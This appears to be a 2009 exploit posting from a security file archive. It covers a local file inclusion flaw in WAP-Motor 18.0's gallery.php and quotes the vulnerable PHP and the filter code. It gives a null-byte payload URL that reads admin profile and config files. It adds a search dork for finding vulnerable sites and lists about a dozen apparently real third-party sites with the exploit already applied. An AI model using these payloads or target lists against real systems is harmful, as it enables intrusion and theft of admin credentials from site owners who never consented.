what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

WAP-Motor 18.0 File Inclusion

WAP-Motor 18.0 File Inclusion
Posted Aug 19, 2009
Authored by Inj3ct0r | Site Inj3ct0r.com

WAP-Motor version 18.0 suffers from a local file inclusion vulnerability in gallery.php.

tags | exploit, local, php, file inclusion
SHA-256 | 52dc05c551d9bc725e7e5165c5f31f4beab66f483da4445d018f8feafc9a5bb7

WAP-Motor 18.0 File Inclusion

Change Mirror Download
===============================================================
Wap-motor <= v. 18.0 (gallery.php) File Inclusion Vulnerability
===============================================================


1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 0
-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-1

#[+] Discovered By : Inj3ct0r
#[+] Site : Inj3ct0r.com
#[+] support e-mail : submit[at]inj3ct0r.com


Product : Wap-motor
Vesrion : v 18.0
dork: "Powered by Wap-motor"
site: http://visavi.net
download: http://visavi.net/download/down.php?action=ob&did=wap-motor16&fid=MOTOR18.zip&


In this version of vulnerability photo gallery script.
Namely file

http://[PATH]/gallery/gallery.php
Let's code!

PHP code:

<?php
require_once"../template/start.php";
require_once"../template/regglobals.php";
require_once"../template/config.php";
require_once"../template/functions.php";

$image=check($image);
$ext = strtolower(substr($image, strrpos($image, '.') + 1));

if($ext=="jpg" || $ext=="gif" || $ext=="png"){
if($ext=="jpg"){$ext="jpeg";}

$filename = BASEDIR."local/datagallery/$image";
$filename = file_get_contents($filename);
header('Content-Disposition: inline; filename="'.$image.'"');
header("Content-type: image/$ext");
header("Content-Length: ".strlen($filename));
echo $filename;
}
?>

file : ./template/regglobals.php


...
if (!ini_get('register_globals')) {
while(list($key,$value)=each($_GET)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_POST)) $GLOBALS[$key]=$value;
while(list($key,$value)=each($_SESSION)) $GLOBALS[$key]=$value;
}
...
foreach ($_GET as $check_url) {
if ((eregi("<[^>]*script*\"?[^>]*>", $check_url)) || (eregi("<[^>]*object*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*iframe*\"?[^>]*>", $check_url)) || (eregi("<[^>]*applet*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*meta*\"?[^>]*>", $check_url)) || (eregi("<[^>]*style*\"?[^>]*>", $check_url)) ||
(eregi("<[^>]*form*\"?[^>]*>", $check_url)) || (eregi("\([^>]*\"?[^)]*\)", $check_url)) ||
(eregi("\"", $check_url)) || (eregi("\'", $check_url)) || (eregi("\./", $check_url)) ||
(eregi("//", $check_url)) || (eregi("<", $check_url)) || (eregi(">", $check_url))) {

header ("Location: ".BASEDIR."index.php?isset=403&".SID); exit;
}
...


Here, the picture has become clearer to see the algorithm!
Algorithm for action script when processing $ _GET [ 'image']:
1. while (list ($ key, $ value) = each ($ _GET)) $ GLOBALS [$ key] = $ value;
2. foreach ($ _GET as $ check_url) ...
3. $ ext = strtolower (substr ($ image, strrpos ($ image, '.') + 1));
4. header ( 'Content-Disposition: inline; filename ="'.$ image .'"');
header ( "Content-type: image / $ ext");
header ( "Content-Length:". strlen ($ filename));
echo $ filename;

That's what we have:

http://[PATH]/gallery/gallery.php?image=%00../profil/Twost.prof%00.gif


Consider,
image =% 00 - so we Nulle-byte stop processing eregi (). (Thanks for the article Elekt'u fatal mistake Php. Part Two.)
.. / profil / Twost.prof% 00 - inkludim profile file (do not forget to change the admin username to Twost) and trims the same Nulle-byte extension
. gif - but it substitute for the true value goes here
header ( "Content-type: image / $ ext");

The picture we have of course not appear, but it is not empty! Open the text editor and see the base of the account admin, you only have to decipher the hash!
That's it!

Example:

http://mobile-world.dbhost.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://margarita.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://sat-tv.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://kod.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://fuckyou.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://bazooka.pp.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://metra.h2m.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://chermo.net.ru/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif
http://sefan.us/gallery/gallery.php?image=%00../datatmp/adminlist.dat%00.gif
http://landark.net.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif
http://vseicq.org.ru/gallery/gallery.php?image=%00../../template/config.php%00.gif

ThE End =] Visit my proj3ct :

http://inj3ct0r.com
http://inj3ct0r.org
http://inj3ct0r.net


# ~ - [ [ : Inj3ct0r : ] ]
Login or Register to add favorites

File Archive:

July 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Jul 1st
    27 Files
  • 2
    Jul 2nd
    10 Files
  • 3
    Jul 3rd
    35 Files
  • 4
    Jul 4th
    27 Files
  • 5
    Jul 5th
    18 Files
  • 6
    Jul 6th
    0 Files
  • 7
    Jul 7th
    0 Files
  • 8
    Jul 8th
    28 Files
  • 9
    Jul 9th
    44 Files
  • 10
    Jul 10th
    24 Files
  • 11
    Jul 11th
    25 Files
  • 12
    Jul 12th
    11 Files
  • 13
    Jul 13th
    0 Files
  • 14
    Jul 14th
    0 Files
  • 15
    Jul 15th
    28 Files
  • 16
    Jul 16th
    6 Files
  • 17
    Jul 17th
    34 Files
  • 18
    Jul 18th
    6 Files
  • 19
    Jul 19th
    34 Files
  • 20
    Jul 20th
    0 Files
  • 21
    Jul 21st
    0 Files
  • 22
    Jul 22nd
    19 Files
  • 23
    Jul 23rd
    17 Files
  • 24
    Jul 24th
    0 Files
  • 25
    Jul 25th
    0 Files
  • 26
    Jul 26th
    0 Files
  • 27
    Jul 27th
    0 Files
  • 28
    Jul 28th
    0 Files
  • 29
    Jul 29th
    0 Files
  • 30
    Jul 30th
    0 Files
  • 31
    Jul 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close